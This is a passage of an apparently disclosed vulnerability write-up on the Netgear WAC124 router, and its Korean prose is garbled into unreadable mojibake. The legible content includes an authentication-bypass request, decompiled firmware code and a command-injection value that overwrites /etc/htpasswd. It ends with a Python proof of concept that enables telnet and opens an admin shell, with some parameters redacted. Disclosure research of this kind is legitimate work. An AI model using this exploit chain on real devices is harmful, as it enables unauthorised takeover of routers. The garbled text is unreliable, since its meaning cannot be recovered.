ํ์ง๋ง ์ด๋ป๊ฒ ์ฐํ์ ์ฑ๊ณตํ๋์ง๋ ์์ธํ ์์ ํ์ง๋ ์๊ฒ ์ต๋๋ค. ํ์ง๋ง NETGEAR์ ํ ์ฅ๋น์์๋ ์ ์ฌํ ์ทจ์ฝ์ ์ด ๋ง์ ์ ์๊ธฐ ๋๋ฌธ์ ์ฌ๋ฌ๋ถ์ด ์ง์ ํผ์ ๋ฅผ ๋ง๋ค์ด์ ์ฐพ์ ๋ ๋ค๋ฅธ ์ ๋ก๋ฐ์ด๋ฅผ ์ฐพ๋ ๊ฒ๋ ๊ด์ฐฎ์ ๊ฒ ๊ฐ๋ค๊ณ ์๊ฐํฉ๋๋ค. ๐ ๊ฒ๋ค๊ฐ ๋ค๋ฅธ ๋ณด์ ์ฐ๊ตฌ์๋ path fuzzing์ ํตํด ์ ์ฌํ ๋ฒ๊ทธ๋ฅผ ๋ฐ๊ฒฌํ๋ ๊ฒฝ์ฐ๊ฐ ์ข ์ข ์๊ธฐ ๋๋ฌธ์ ๊ด์ฐฎ์ fuzzer๋ฅผ ๋ง๋ค๋ฉด ๊ฝค ๊ด์ฐฎ์ ์ทจ์ฝ์ ์ด ๋์ฌ ์๋ ์๋ค๊ณ ์๊ฐํฉ๋๋ค.
์ต์ข ์ ์ผ๋ก ๋ค์๊ณผ ๊ฐ์ด ๊ณต๊ฒฉ ํ์ด๋ก๋๋ฅผ ํตํด ์ธ์ฆ ์์ด ๋ก๊ทธ์ธํ ์ ์์์ต๋๋ค.
curl 'http://192.168.0.100/***REDACTED***' -H "User-Agent: Mozilla/5.0" -v
* Trying 192.168.0.100...
* TCP_NODELAY set
* Connected to 192.168.0.100 (192.168.0.100) port 80 (#0)
> GET /***REDACTED*** HTTP/1.1
> Host: 192.168.0.100g
> Accept: */*
> User-Agent: Mozilla/5.0
>
***REDACTED*** HTTP/1.1 200 Ok
Server: mini_httpd/1.24 10May2016
Date: Tue, 07 Sep 2021 12:09:55 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 7441
Last-Modified: Fri, 20 Mar 2020 06:26:17 GMT
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><link rel="stylesheet" href="style/top.css">
<script language="javascript" type="text/javascript" src="funcs.js"></script>
<script language="javascript" type="text/javascript" src="top.js"></script>
<script language="javascript" type="text/javascript" src="string.js"></script>
<script language="javascript" type="text/javascript" src="utility.js"></script>
<script language="javascript" type="text/javascript" src="linux.js"></script>
<link rel="stylesheet" href="style/form.css">
<script language="javascript" type="text/javascript">
//NOTE: set nvram "dbg_cpu_mirror=1" to let cpu-port mirror to lan0
var telnet_status = "@dbg_telnet_stat#";
var wan_mirror_status = "@dbg_wan_mirror_stat#";
var dbg_store_location = "@dbg_storage_location#";
var dbg_wifi_band = "@dbg_wifi_band#";
var dbg_button_status = "@dbg_button_status#";
var dbg_ipv6_ping_status = "@dbg_ipv6_ping_status#";
...
<div id="other">
<table width="100%" border="0" cellpadding="0" cellspacing="2">
<tr><td colspan="4"><input type="checkbox" name="enable_telnet" id="enable_telnet" onClick="return dbg_configure('telnet')"><b languageCode="">Enable Telnet</b></td></tr>
<tr><td colspan="4"><input type="checkbox" name="wan_lan_mirror" id="wan_lan_mirror" onClick="return dbg_configure('wan_mirror')"><b languageCode="">WAN Port mirror to LAN port1</b></td></tr>
<tr><td colspan="4"><input type="checkbox" name="ipv6_ping_enable" id="ipv6_ping_enable" onClick="return dbg_configure('ipv6_ping')"><b languageCode="">Allow external IPv6 hosts ping internal IPv6 hosts</b></td></tr>
</table>
</div>
<!--<input type="hidden" name="todo" value="changelanguage">-->
<input type="hidden" name="this_file" value="debug.htm">
<input type="hidden" name="next_file" value="debug.htm">
<input type="hidden" name="SID" value="@SID#">
<input type="hidden" name="h_language" value="@h_language#">
</form>
<script language="javascript" type="text/javascript" src="langs.js"></script>
</body>
</html>
* Closing connection 0
์ด์ ์ธ์ฆ ๋ฐ์ดํจ์ค์ ์ฑ๊ณตํ์์ผ๋ ์ด์ ํ ๋ท ์ฝ์์ ๋๋ฒ๊ทธ ํ์ด์ง์์ ์ค์ ํ์ฌ ์ ํฌํธ๋ฅผ ์ด ์๋ ์์ง๋ง.. ์์ง ๋ฌธ์ ๊ฐ ๋จ์ ์์ต๋๋ค. ๊ด๋ฆฌ์ ๊ณ์ ์ ๋ํ ์ธ์ฆ ์ ๋ณด๋ฅผ ๊ฐ์ง๊ณ ์์ง ์์ต๋๋ค.
์์ ์๊ฐํ ์์์ ํ์ผ์ ์ฝ๋ ๊ณต๊ฒฉ ๋ฐฉ์๊ณผ ๊ฐ์ ๊ฒฝ์ฐ, USB ๋๋ผ์ด๋ธ๋ฅผ ์ด์ฉํ๋ ๋ฑ์ ์ ์ ์กฐ๊ฑด์ด ํ์ํ๊ธฐ ๋๋ฌธ์ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ์ฐพ์๋ณด๊ธฐ๋ก ํ์์ต๋๋ค.
๋ค์ setup.cgi
์ ๋ด๋ถ ์ฝ๋๋ค์ ๋์ง์ด๋ณด๋ฉด, COMMAND
ํจ์๋ผ๋ ๊ฒ์ด ์๋๋ฐ, ์ด ํจ์๋ ์ผ๋ฐ์ ์ธ system()
ํจ์์ฒ๋ผ ๋์ํ์ง๋ง ๋์ ํฌ๋งท ์คํธ๋ง์ ์ง์ํ๊ณ ์์ต๋๋ค.
**************************************************************
* THUNK FUNCTION *
**************************************************************
thunk undefined COMMAND()
Thunked-Function: <EXTERNAL>::COMMAND
assume t9 = 0x4a0e10
undefined v0:1 <RETURN>
<EXTERNAL>::COMMAND XREF[210]: Entry Point(*),
vuln_func1:00409ad8(c),
vuln_func1:00409b2c(c),
vuln_func1:00409be0(c),
FUN_0040b9ec:0040bb88(c),
FUN_0040ca70:0040cf98(c),
FUN_0040ca70:0040d04c(c),
FUN_0040ca70:0040d07c(c),
FUN_0040d808:0040d8cc(c),
FUN_0040d808:0040d8e4(c),
FUN_004138f8:00413930(c),
FUN_00413998:004139cc(c),
FUN_00413a50:00414c5c(c),
FUN_00415f94:00415fa4(j),
FUN_00450968:00450a88(c),
FUN_00450968:00450aa0(c),
FUN_0046a880:0046a990(c),
FUN_004858dc:004859e0(c),
FUN_004858dc:004859f8(c),
del_folder:00495aa8(c), [more]
004a0e10 10 80 99 8f lw t9,-0x7ff0(gp)=>__DT_PLTGOT = 00000000
assume t9 = <UNKNOWN>
004a0e14 21 78 e0 03 move t7,ra
004a0e18 09 f8 20 03 jalr t9
004a0e1c 9c 01 18 24 _li t8,0x19c
ํด๋น ํจ์์ ํธ์ถ์์ด ๋๋ ํจ์๋ฅผ ์กฐ์ฌํ๋ ์ค, iTunes Server์ ํจ์ค์๋๋ฅผ ์ค์ ํ๋ ํจ์๋ฅผ ํ์ธํ ์ ์์์ต๋๋ค. ์ด ํจ์์ ๊ฒฝ์ฐ remote_passcode
๊ฐ ์ ํจํ ์ด๋ฆ์ผ ๊ฒฝ์ฐ /tmp/itunes/apple.remote
์ ์ํธ๋ฅผ ์๋๋ค.
// 004d99d0 44 dc 4a 00 addr s_iserver_allow_ctrl_004adc44 = "iserver_allow_ctrl"
// 004d99d4 d4 87 40 00 addr FUN_004087d4
undefined4 FUN_004087d4(undefined4 param_1)
{
undefined4 uVar1;
int iVar2;
char *pcVar3;
uVar1 = find_val(param_1,"remote_passcode");
iVar2 = test_command_inject(uVar1);
if (iVar2 == 0) {
uVar1 = find_val(param_1,"this_file");
alert("Invalid passcode value!",uVar1);
uVar1 = 0xffffffff;
}
else {
uVar1 = find_val(param_1,"remote_passcode");
nvram_set("remote_passcode",uVar1);
nvram_commit();
pcVar3 = (char *)nvram_get("remote_passcode");
if (pcVar3 == (char *)0x0) {
pcVar3 = "";
}
if (*pcVar3 != '\0') {
COMMAND("/bin/echo dummy > /tmp/itunes/apple.remote");
COMMAND("/bin/echo %s >> /tmp/itunes/apple.remote",pcVar3);
}
sleep(2);
uVar1 = find_val(param_1,"this_file");
html_parser(uVar1,param_1,key_fun_tab);
uVar1 = 0;
}
return uVar1;
}
๊ทธ๋ฌ๋ ์ค์ ๋ก COMMAND
ํจ์๊ฐ ์คํ๋๊ธฐ ์ ์๋ ๋๋ถ๋ถ test_command_inject
๋ผ๋ ์ฒดํฌ ํจ์๊ฐ ์์์ ํ์ธํ ์ ์์์ต๋๋ค. ์ด์ด์ test_command_inject
ํจ์๋ฅผ ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
undefined4 test_command_inject(char *param_1)
{
char *pcVar1;
FILE *__stream;
pcVar1 = strstr(param_1,"/bin");
if (((pcVar1 == (char *)0x0) && (pcVar1 = strstr(param_1,"/sbin"), pcVar1 == (char *)0x0)) &&
(pcVar1 = strchr(param_1,0x60), pcVar1 == (char *)0x0)) {
return 1;
}
__stream = fopen("/dev/console","a+");
if (__stream != (FILE *)0x0) {
fprintf(__stream,"[%s::%s():%d] ","other.c","test_command_inject",0xa2e);
fprintf(__stream,"Possible COMMAND injection detected:\"%s\"!\n",param_1);
fclose(__stream);
}
return 0;
}
์ฝ๋๋ฅผ ์ฝ์ด๋ณด๋ฉด /bin
, /sbin
, `
, \x00
๋ฑ์ด ์ฐจ๋จ๋จ์ ์ ์ ์์์ต๋๋ค. ๋คํํ๋ pipe๋ฅผ ์ํ ์ธ๋ก ๋ง๋(|
)๊ฐ ์ฒดํฌ ํจ์์ ํฌํจ๋์ด ์์ง๋ ์์์ต๋๋ค.
ํ์ฌ ์คํ๋๋ ๋ช
๋ น์ด๋ /bin/echo [input] >> /tmp/itunes/apple.remote
์ด๋ฏ๋ก, ์
๋ ฅ ๊ฐ์ admin:styexp> /etc/htpasswd|
์ ๊ฐ์ด ๋ฃ์ผ๋ฉด ์ต์ข
์ ์ผ๋ก ์ฝ๋๊ฐ ์คํ๋ ๋๋ ๋ค์๊ณผ ๊ฐ์ ๋ช
๋ น์ด๊ฐ ์คํ๋๊ธฐ ๋๋ฌธ์ /etc/htpasswd
๋ฅผ ๋ฎ์ ์ ์์ต๋๋ค.
/bin/echo admin:styprexp>/etc/htpasswd|>>/tmp/itunes/apple.remote
์ด ๋ฐฉ๋ฒ์ ํตํด /etc/htpasswd
ํ์ผ์ ์ปค๋งจ๋ ์ธ์ ์
์ ํตํด ๊ด๋ฆฌ์ ์ ์ ๋ช
๊ณผ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ฎ์ด์ธ ์ ์์ต๋๋ค. ์ด๋ฌํ ๊ณต๊ฒฉ์ ํตํด ์ง์ ๊ด๋ฆฌ์์ ๊ณ์ ํ์ผ์ ์ถ์ถํ์ง ์์๋ ๊ด๋ฆฌ์ ๊ณ์ ๋ก๊ทธ์ธ์ ๋ก๊ทธ์ธํ ์ ์์ต๋๋ค.
์ง๊ธ๊น์ง ๋ฐ๊ฒฌํ ์ทจ์ฝ์ ์ ํ์ฉํ๋ฉด ๊ถํ ์์ด ์ธ์ฆ ์ฐํ๋ฅผ ํ ๋ค์ ์์ ๋ช ๋ น์ด ์คํ์ ํตํด ๊ด๋ฆฌ์ ๊ณ์ ๊น์ง ๋ฎ๊ณ ์์คํ ์์ ์คํํ ์ ์์ต๋๋ค.
์ด๋ฒ ๊ณต๊ฒฉ์ ๊ฒฝ์ฐ www.routerlogin.com์ ์ ์ํ ์ ์๋ ๊ณต๊ฒฉ์๋ผ๋ฉด ๋๊ตฌ๋ ์ ์ ์กฐ๊ฑด ์์ด ๊ณต๊ฒฉํ์ฌ ๋ผ์ฐํฐ ์ฅ๋น์ ์์คํ ์์ ํธ๋ฆฌ๊ฑฐ ํ ์ ์์ต๋๋ค.
์ธํฐ๋ท์ ์ต์คํ๋ก์์ด ์ฌ๊ธฐ์ ๊ธฐ ๋์๋ค๋๋ ๊ฒ์ ๋ฐฉ์งํ๊ธฐ ์ํ์ฌ, ์ค์ ์ต์คํ๋ก์์์ ์ผ๋ถ ์ฝ๋๋ฅผ ์ ๊ฑฐ ํ์์ต๋๋ค. ํ์ง๋ง ์ด ๊ธฐ์ฌ๋ฅผ ์ ๋๋ก ์ฝ๊ณ ๊ณ์ ๋ค๋ฉด ๊ณต๊ฒฉ ์ฝ๋๋ฅผ ์์ฑํ๋ ๊ฒ์ ํฌ๊ฒ ์ด๋ ต์ง ์์ ๊ฒ์ผ๋ก ๋ณด์ ๋๋ค.
#!/usr/bin/python -u
# -*- coding: utf-8 -*-
"""
Title: Netgear WAC124 pre-auth exploit by stypr @ Flatt Security Inc.
Developer: stypr @ Flatt Security Inc.
Website: https://harold.kim/, https://flatt.tech/
Date: 2021-07-07
This exploit contains two vulnerabilities.
- Authentication Bypass
- This will gain privileges for admin
- Also, it will trigger
- Command Injection
- Since we have the admin privilege, we can now have more features available.
- Some of codes are vulnerable to command injection, in which we can overwrite admin password.
- There are filters available, but currently it is possible to bypass filters.
"""
...
# Real functions start here
def check_vulnerable():
"""
Check if the server is vulnerable.
"""
debug_htm = "CHANGEME"
resp = send_get_request(path="/setup.cgi?next_file=" + debug_htm)
resp = resp.decode()
if "Enable Telnet" in resp:
print("[.] It seems to be exploitable!")
return True
return False
def trigger_telnet_on():
"""
Trigger telnet on by authentication bypass
"""
todo = "CHANGEME"
debug_htm = "CHANGEME"
# Note: todo is bypassed
resp = send_get_request(
path="/setup.cgi?" + todo + "=dbg_configure&telnet=1&this_file=" + debug_htm + "&next_file=" + debug_htm,
)
resp = resp.decode()
if "Enable Telnet" in resp:
return True
return False
def command_injection():
"""
Trigger command injection to overwrite /etc/htpasswd
"""
todo = "CHANGEME"
usb_media = "CHANGEME"
remote_passcode = "admin:styexp%3E/etc/htpasswd|"
# Note: todo is bypassed
resp = send_get_request(
path="/setup.cgi?" + todo + "=iserver_allow_ctrl&remote_passcode=" + remote_passcode + "&this_file=" + usb_media
)
resp = resp.decode()
if "itunes_server_enable" in resp:
return True
return False
def trigger_shell(username, password):
"""
Triggering shell
"""
with Telnet(HOST, 23) as session:
session.read_until(b"login: ")
session.write(username.encode() + b"\n")
session.write(password.encode() + b"\n")
session.interact()
if __name__ == "__main__":
print("[*] Checking if the bug is exploitable...")
result = check_vulnerable()
if not result:
print("[-] Maybe it is not exploitable......")
sys.exit(-1)
print("[*] Enabling telnet...")
result = trigger_telnet_on()
if not result:
print("[-] Failed to trigger telnet on.. Maybe it's fixed.")
sys.exit(-1)
print("[*] Overwriting /etc/htpasswd...")
result = command_injection()
if not result:
print("[-] Failed to overwrite /etc/htpasswd")
sys.exit(-1)
print("[*] Triggering shell...")
trigger_shell("admin", "styexp")
๋ฐ๋ชจ ๋์์์๋, ์๊ธฐ PoC ์ฝ๋๋ฅผ ์ค์ ๋ก ์คํํ๋ ๊ฒ์ ๋ณผ ์ ์์ต๋๋ค. ๋ณธ ์ต์คํ๋ก์์์๋ ์ธ์ฆ์ ๋ฐ์ดํจ์คํ๊ณ ๊ด๋ฆฌ์ ๊ณ์ ์ ๋ฎ์ด์ฐ๋ ๋ช ๋ น ์ธ์ ์ ์ ์ํํ์ฌ ์ธ์ฆ๋์ง ์์ ๋ถ์ ํ ์ฌ์ฉ์์ด๋ฉด์๋ ๋ผ์ฐํฐ ์์ ์ ๊ทผํ ์ ์์ต๋๋ค.
๋ณธ ๊ธ์ ์์ด ๋ฒ์ ์ NETGEAR ๋ณด์ํ์ ์ํด ๊ฒ์๋ ๋ฌธ์์ ๋๋ค.